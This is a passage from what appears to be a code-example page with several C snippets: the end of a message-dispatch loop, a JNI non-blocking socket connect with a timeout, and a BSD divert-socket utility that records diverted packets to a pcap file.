            LOG_DEBUG(gContext,"Len:%u", (unsigned int)strlen(buf));
            LOG_INFO(gContext,"Data:%s", buf);

            LOG_DEBUG_MSG(gContext,"------------------------------------------------");

            if(strcmp("GVSNSGYR", msgId) == 0)
            {
                processGVSNSGYR(buf);
            }
            else if(strcmp("GVSNSWHE", msgId) == 0)
            {
                processGVSNSWHE(buf);
            }
            else if(strcmp("GVSNSVSP", msgId) == 0)
            {
                processGVSNSVSP(buf);
            }
        }
    }

    close(s);

    return EXIT_SUCCESS;
}
示例#29
0
JNIEXPORT jint JNICALL
Java_com_ghostagent_SoundManagementNative_connect(JNIEnv *env, jobject obj,
						  jint sockfd, jint timeout,
						  jstring address, jint port)
{
	const char *cp;
	struct sockaddr_in addr;
	int flags;
	int ret;
	fd_set wset;
	struct timeval tv;
	int error;
	socklen_t len;

	cp = (*env)->GetStringUTFChars(env, address, NULL);
	if (cp == NULL)
		return -1;

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);
	addr.sin_addr.s_addr = inet_addr(cp);

	(*env)->ReleaseStringUTFChars(env, address, cp);

	flags = fcntl(sockfd, F_GETFL);
	if (flags < 0)
		return -1;

	if (fcntl(sockfd, F_SETFL, flags | O_NONBLOCK) < 0)
		return -1;

	ret = connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));
	if (ret == 0) {
		fcntl(sockfd, F_SETFL, flags);
		return 0;
	}
	if (errno != EINPROGRESS) {
		fcntl(sockfd, F_SETFL, flags);
		return -1;
	}

	FD_ZERO(&wset);
	FD_SET(sockfd, &wset);

	memset(&tv, 0, sizeof(tv));
	tv.tv_sec = (time_t)timeout;

	if (select(sockfd + 1, NULL, &wset, NULL, &tv) <= 0) {
		fcntl(sockfd, F_SETFL, flags);
		return -1;
	}

	len = sizeof(error);
	ret = getsockopt(sockfd, SOL_SOCKET, SO_ERROR, &error, &len);
	if (ret < 0 || error != 0) {
		fcntl(sockfd, F_SETFL, flags);
		return -1;
	}

	fcntl(sockfd, F_SETFL, flags);
	return 0;
}
示例#30
-1
int
main(int ac, char *av[])
{
	int r, sd, portnum, l;
        struct sockaddr_in sin;
	int errflg = 0;

	int nfd;
	fd_set rds;

	ssize_t nr;

	char *dumpf, buf[BUFMAX];

	pcap_t *p;
	pcap_dumper_t *dp;
	struct pcap_pkthdr phd;

	prog = av[0];

	while ((r = getopt(ac, av, "drb:p:P:")) != -1) {
		switch (r) {
		case 'd':
			debug++;
			break;
		case 'r':
			reflect++;
			break;
		case 'b':
			maxbytes = (ssize_t) atol(optarg);
			break;
		case 'p':
			maxpkts = (ssize_t) atoi(optarg);
			break;
		case 'P':
			strcpy(pidfile, optarg);
			break;
		case '?':
		default:
			errflg++;
			break;
		}
	}

	if ((ac - optind) != 2 || errflg)
		usage();

	portnum = atoi(av[optind++]);
	dumpf = av[optind];

if (debug) fprintf(stderr, "bind to %d.\ndump to '%s'.\n", portnum, dumpf);

	if ((r = socket(PF_INET, SOCK_RAW, IPPROTO_DIVERT)) == -1) {
		perror("socket(DIVERT)");
		exit(2);
	}
	sd = r;

	sin.sin_port = htons(portnum);
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = INADDR_ANY;

	if (bind(sd, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
		perror("bind(divert)");
		exit(3);
	}

	p = pcap_open_dead(DLT_RAW, BUFMAX);
	dp = pcap_dump_open(p, dumpf);
	if (dp == NULL) {
		pcap_perror(p, dumpf);
		exit(4);
	}

	okay(portnum);

	nfd = sd + 1;
	for (;;) {
		FD_ZERO(&rds);
		FD_SET(sd, &rds);

		r = select(nfd, &rds, NULL, NULL, NULL);
		if (r == -1) {
			if (errno == EINTR) continue;
			perror("select");
			quit(11);
		}

		if (!FD_ISSET(sd, &rds))
			/* hmm. no work. */
			continue;

		/*
		 * use recvfrom(3 and sendto(3) as in natd(8).
		 * see /usr/src/sbin/natd/natd.c
		 * see ipfw(8) about using 'divert' and 'tee'.
		 */

		/*
		 * read packet.
		 */
		l = sizeof(sin);
		nr = recvfrom(sd, buf, sizeof(buf), 0, (struct sockaddr *)&sin, &l);
if (debug) fprintf(stderr, "recvfrom(%d) = %zd (%d)\n", sd, nr, l);
		if (nr < 0 && errno != EINTR) {
			perror("recvfrom(sd)");
			quit(12);
		}
		if (nr <= 0) continue;

		if (reflect) {
			/*
			 * write packet back so it can continue
			 * being processed by any further IPFW rules.
			 */
			l = sizeof(sin);
			r = sendto(sd, buf, nr, 0, (struct sockaddr *)&sin, l);
if (debug) fprintf(stderr, "  sendto(%d) = %d\n", sd, r);
			if (r < 0) { perror("sendto(sd)"); quit(13); }
		}

		/*
		 * check maximums, if any.
		 * but don't quit if must continue reflecting packets.
		 */
		if (maxpkts) {
			totpkts++;
			if (totpkts > maxpkts) {
				if (reflect == 1) continue;
				quit(0);
			}
		}
		if (maxbytes) {
			totbytes += nr;
			if (totbytes > maxbytes) {
				if (reflect == 1) continue;
				quit(0);
			}
		}

		/*
		 * save packet in tcpdump(1) format. see pcap(3).
		 * divert packets are fully assembled. see ipfw(8).
		 */
		(void) gettimeofday(&(phd.ts), NULL);
		phd.caplen = phd.len = nr;
		pcap_dump((u_char *)dp, &phd, buf);
		if (ferror((FILE *)dp)) { perror(dumpf); quit(14); }
		(void) fflush((FILE *)dp);
	}

	quit(0);
}